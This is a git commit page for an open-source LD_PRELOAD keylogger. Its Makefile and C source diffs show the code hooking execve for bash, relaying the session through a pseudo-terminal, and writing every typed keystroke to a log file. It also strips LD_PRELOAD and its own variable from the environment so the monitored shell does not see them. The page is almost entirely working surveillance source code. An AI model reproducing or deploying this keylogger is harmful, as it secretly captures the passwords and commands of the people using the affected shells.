keylog

LD_PRELOAD-based keylogger
git clone https://git.sinitax.com/sinitax/keylog
Log | Files | Refs | LICENSE | sfeed.txt

commit 8b0a166116ede14e293759cc4587d0bd0818d8ea
parent e4eddacc5a86aeae6570729580afc1f4ce7b5c87
Author: Louis Burda <quent.burda@gmail.com>
Date:   Thu, 22 Jun 2023 22:57:58 +0200

Fix warnings and cleanup

Diffstat:
MMakefile | 31++++++++++++++++++++-----------
Mkeylog.c | 165++++++++++++++++++++++++++++++++++++++++++-------------------------------------
2 files changed, 108 insertions(+), 88 deletions(-)

diff --git a/Makefile b/Makefile @@ -1,17 +1,26 @@ -CC = gcc -CFLAGS = -c -Wall -O3 -fPIC -LDFLAGS = -ldl -Wl,-soname,keylog.so -shared +PREFIX ?= /usr/local +LIBDIR ?= /lib -.PHONY: all clean +CFLAGS = -Wunused-function -Wunused-variable -Wconversion -fPIC -all: keylog.so +ifeq ($(DEBUG),1) +CFLAGS += -Og -g +else +CFLAGS += -O2 +endif + +all: libkeylog.so clean: - rm -f keylog.so keylog.o + rm -f keylog + +libkeylog.so: keylog.o + $(CC) -o $@ $^ -ldl -Wl,-soname,$@ -shared + +install: + install -m755 libkeylog.so -t "$(DESTDIR)$(PREFIX)$(LIBDIR)" -keylog.so: keylog.o - $(CC) -o $@ $(LDFLAGS) $^ - rm keylog.o +uninstall: + rm -f "$(DESTDIR)$(PREFIX)$(LIBDIR)/libkeylog.so" -keylog.o: keylog.c - $(CC) -o $@ $(CFLAGS) $^ +.PHONY: all clean install uninstall diff --git a/keylog.c b/keylog.c @@ -17,94 +17,103 @@ * along with this program. If not, see <https://www.gnu.org/licenses/>. */ - #define _XOPEN_SOURCE 600 -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <unistd.h> -#include <dlfcn.h> -#include <fcntl.h> + #include <sys/stat.h> #include <sys/types.h> #include <sys/select.h> #include <sys/wait.h> #include <sys/ioctl.h> -#include <time.h> -#define __USE_BSD +#include <unistd.h> +#include <dlfcn.h> +#include <fcntl.h> #include <termios.h> +#include <time.h> +#include <string.h> +#include <stdbool.h> +#include <stdlib.h> +#include <stdarg.h> +#include <stdio.h> #define RTLD_NEXT ((void *) -1l) -typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]); -void __attribute__ ((constructor)) init(void); - -enum { OK, FAIL }; - -static void metalog(int fd, const char *msg, const char *filename); -static int fwd(int readfd, int writefd, int log); -static void mitm(int fd); +typedef int (*execve_fun)(const char *filename, + char *const argv[], char *const envp[]); extern char **environ; + static execve_fun execve_ptr = NULL; -static int logfd = -1; -static char buffer[256]; -static const char *logfile = NULL; +static const char *logfile_path = NULL; +static FILE *logfile = NULL; /* programs we want to monitor */ -char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL }; +static char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL }; -void -metalog(int fd, const char *msg, const char *filename) +static void +die(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + fputs("keylog: ", stderr); + vfprintf(stderr, fmt, ap); + if (*fmt && fmt[strlen(fmt)-1] == ':') { + fputc(' ', stderr); + perror(NULL); + } else { + fputc('\n', stderr); + } + va_end(ap); + + exit(1); +} + +static void +metalog(const char *msg, const char *filename) { char timestr[64]; - const char *fmtstr = "\n\n-- \x01 (\x02) @[\x03] -- \n\n"; - time_t now = time(NULL); - int i, last; + time_t now; + now = time(NULL); strftime(timestr, sizeof(timestr), "%F %T", localtime(&now)); - - for (last = i = 0; i <= strlen(fmtstr); i++) { - if (fmtstr[i] < 0x0a) { - write(fd, fmtstr + last, i - last); - if (fmtstr[i] == 0x01) - write(fd, msg, strlen(msg)); - else if (fmtstr[i] == 0x02) - write(fd, filename, strlen(filename)); - else if (fmtstr[i] == 0x03) - write(fd, timestr, strlen(timestr)); - last = i + 1; - } - } + fprintf(logfile, "\n\n-- %s (%s) @[%s] -- \n\n", + msg, filename, timestr); } -int -fwd(int readfd, int writefd, int log) +static int +fwd(int readfd, int writefd, bool log) { - int got, i, last; + char buffer[BUFSIZ]; + ssize_t got; + size_t i, prev; do { if ((got = read(readfd, buffer, sizeof(buffer))) < 0) - return FAIL; - - if (log && logfd != -1) { - for (last = i = 0; i <= got; i++) { - if (i == got || buffer[i] == '\r') { - write(logfd, buffer + last, i - last); - if (i < got) write(logfd, "\n", 1); - last = i + 1; + return 1; + + if (log) { + for (prev = i = 0; i <= got; i++) { + if (buffer[i] == '\r' || i == got) { + fwrite(buffer + prev, 1, + (size_t) (i - prev), logfile); + if (i == got - 1) + fputc('\n', logfile); + if (i + 1 < got && buffer[i+1] != '\n') + fputc('\n', logfile); + prev = i + 1; } } + fflush(logfile); } - if (write(writefd, buffer, got) < 0) - return FAIL; + if (write(writefd, buffer, (size_t) got) != got) + return 1; } while (got == sizeof(buffer)); - return OK; + return 0; } -void +static void mitm(int fd) { fd_set fds; @@ -118,25 +127,23 @@ mitm(int fd) return; if (FD_ISSET(0, &fds)) { /* stdin */ - if (fwd(0, fd, 1) == FAIL) - return; + if (fwd(0, fd, true)) return; } if (FD_ISSET(fd, &fds)) { /* process */ - if (fwd(fd, 1, 0) == FAIL) - return; + if (fwd(fd, 1, false)) return; } } } -void +static void rawterm(struct termios *term) { - term->c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP + term->c_iflag &= ~(0U | IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON); - term->c_oflag &= ~OPOST; - term->c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN); - term->c_cflag &= ~(CSIZE | PARENB); + term->c_oflag &= ~(0U | OPOST); + term->c_lflag &= ~(0U | ECHO | ECHONL | ICANON | ISIG | IEXTEN); + term->c_cflag &= ~(0U | CSIZE | PARENB); term->c_cflag |= CS8; } @@ -148,7 +155,7 @@ execve(const char *filename, char *const argv[], char *const envp[]) { char **file; /* Lookup the real execve address. */ - if (!execve_ptr) execve_ptr = (execve_fun)dlsym(RTLD_NEXT, "execve"); + if (!execve_ptr) execve_ptr = (execve_fun) dlsym(RTLD_NEXT, "execve"); /* Check if target program is one we want to keylog */ for (file = target_files; *file; file++) { @@ -200,16 +207,19 @@ execve(const char *filename, char *const argv[], char *const envp[]) { tcsetattr(0, TCSANOW, &settings); ioctl(master_fd, TIOCSCTTY); - logfd = open(logfile, O_WRONLY | O_APPEND | O_CREAT, 0644); + logfile = fopen(logfile_path, "a+"); + if (!logfile) die("fopen:"); - metalog(logfd, "OPEN", filename); + metalog("OPEN", filename); mitm(master_fd); - metalog(logfd, "CLOSE", filename); + metalog("CLOSE", filename); waitpid(pid, &status, 0); tcsetattr(0, TCSANOW, &original); - close(logfd); + fclose(logfile); + logfile = NULL; + close(master_fd); } @@ -217,25 +227,26 @@ execve(const char *filename, char *const argv[], char *const envp[]) { } void +__attribute__((constructor)) init(void) { - char **iter, **last; + char **iter, **prev; /* remove extra env vars from environ */ - for (iter = last = environ; *iter; iter++) { - if (strstr(*iter, "KEYLOGFILE=") == *iter) { - logfile = strchr(*iter, '=') + 1; + for (iter = prev = environ; *iter; iter++) { + if (!strncmp(*iter, "KEYLOG=", 7)) { + logfile_path = *iter + 7; } else if (strstr(*iter, "LD_PRELOAD=") == *iter) { continue; } else { - *last = *iter; - last++; + *prev = *iter; + prev++; } } - *last = NULL; + *prev = NULL; - if (!logfile) { - printf("KEYLOGFILE not specified!\n"); + if (!logfile_path) { + printf("KEYLOG not specified!\n"); exit(1); } }